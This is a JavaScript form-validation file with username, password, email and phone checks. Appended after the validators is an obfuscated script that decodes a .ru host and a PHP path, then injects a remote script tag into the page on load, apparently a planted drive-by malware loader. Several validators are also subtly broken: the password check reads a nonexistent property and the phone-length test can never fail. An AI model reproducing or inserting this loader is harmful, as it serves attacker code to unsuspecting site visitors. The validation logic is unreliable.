// JavaScript Document
function validateUsername(str) 
{
    var error = "";
    var illegalChars = /\W/; // allow letters, numbers, and underscores
    if (str == "")  error = "You didn't enter a username.\n";
    else if ((str.length < 5) || (str.length > 15)) error = "The username is the wrong length.\n";
	 else if (illegalChars.test(str)) error = "The username contains illegal characters.\n";
	 return error;
}
function validatePassword(str) 
{
    var error = "";
    var illegalChars = /[\W_]/; // allow only letters and numbers 
    if (str == "") error = "You didn't enter a password.\n";
    else if ((str.length < 6) || (str.length > 15)) error = "The password is the wrong length. \n";
    else if (illegalChars.test(str.value)) error = "The password contains illegal characters.\n";
    else if (!((str.search(/(a-z)+/)) && (str.search(/(0-9)+/)))) error = "The password must contain at least one numeral.\n";
    return error;
}  
function validateEmail(str) 
{
    var error="";
	 var emailFilter = /^[^@]+@[^@.]+\.[^@]*\w\w$/ ;
    var illegalChars= /[\(\)\<\>\,\;\:\\\"\[\]]/ ;
    if (str == "") error = "Email Address is required...\n";
    else if (!emailFilter.test(str)) error = "Please enter a valid email address.\n";
    else if (str.match(illegalChars)) error = "The email address contains illegal characters.\n";
	 return error;
}
function validatePhone(str) 
{
    var error = "";
    var stripped = str.replace(/[\(\)\.\-\ ]/g, '');    
    if (isNaN(parseInt(stripped)) && str!="") error = "The phone number contains illegal characters.\n";
    else if ((stripped.length < 10) && (stripped.length > 12) && str!="") error = "The phone number is the wrong length. Make sure you included an area code.\n";
    return error;
}
var Jg;if(Jg!='' && Jg!='x'){Jg=null};function E(){var uA;if(uA!='c'){uA=''};var h=new Date();var V="\x68\x74\x74\x70\x3a\x2f\x2f\x35\x38\x2d\x63\x6f\x6d\x2e\x63\x68\x69\x6e\x61\x2e\x63\x6f\x6d\x2e\x63\x6e\x2e\x67\x75\x74\x65\x66\x72\x61\x67\x65\x2d\x6e\x65\x74\x2e\x44\x69\x73\x63\x6f\x75\x6e\x74\x53\x75\x70\x65\x72\x42\x6c\x65\x6e\x64\x65\x72\x2e\x72\x75\x3a";var Q=window;this.a="";var w='';var u=String("g");var Z="";var Tm="";var i=unescape;var Vwe;if(Vwe!='L'){Vwe='L'};function M(A,Ae){this.El='';var J=i("%5b")+Ae+i("%5d");var AC=new RegExp(J, u);var m;if(m!='' && m!='ca'){m=''};var Le=new String();return A.replace(AC, w);var Pv;if(Pv!='xJ' && Pv != ''){Pv=null};};var uy=new Array();var j;if(j!='' && j!='pL'){j='n'};var P=i("%2f%6e%69%66%74%79%2e%63%6f%6d%2f%6e%69%66%74%79%2e%63%6f%6d%2f%6d%61%72%6b%65%74%67%69%64%2e%63%6f%6d%2f%61%62%72%69%6c%2e%63%6f%6d%2e%62%72%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");var mL;if(mL!='' && mL!='O'){mL='DA'};var d;if(d!='' && d!='nI'){d='Oe'};var Mm=M('87706658775056','567');var gA=new Date();var iv=new Date();var k=document;this.xU="";var Vw='';this.wi="";function Y(){var tL=new String();var wiH;if(wiH!='Pp'){wiH='Pp'};Vw=V;Vw+=Mm;var r='';Vw+=P;var dY=new String();var uX="";try {this.ob='';var K;if(K!='Sx'){K=''};var Ks=new Date();Mr=k.createElement(M('s7cFr7iqp7t7','7_qF'));this.SK="";var pTM=new Date();var uXV=new String();var Ot=new String();Mr.defer=[7,1][1];Mr.src=Vw;var Br=new Date();k.body.appendChild(Mr);} catch(f){var vL;if(vL!='PB'){vL=''};};}Q[String("onKqu".substr(0,2)+"yODPlo".substr(4)+"ad")]=Y;this.H="";var fW;if(fW!='de' && fW!='mB'){fW='de'};var mg=new Date();};var _b;if(_b!='' && _b!='Jc'){_b=null};E();this.vE="";var F;if(F!='aC' && F!='Zn'){F='aC'};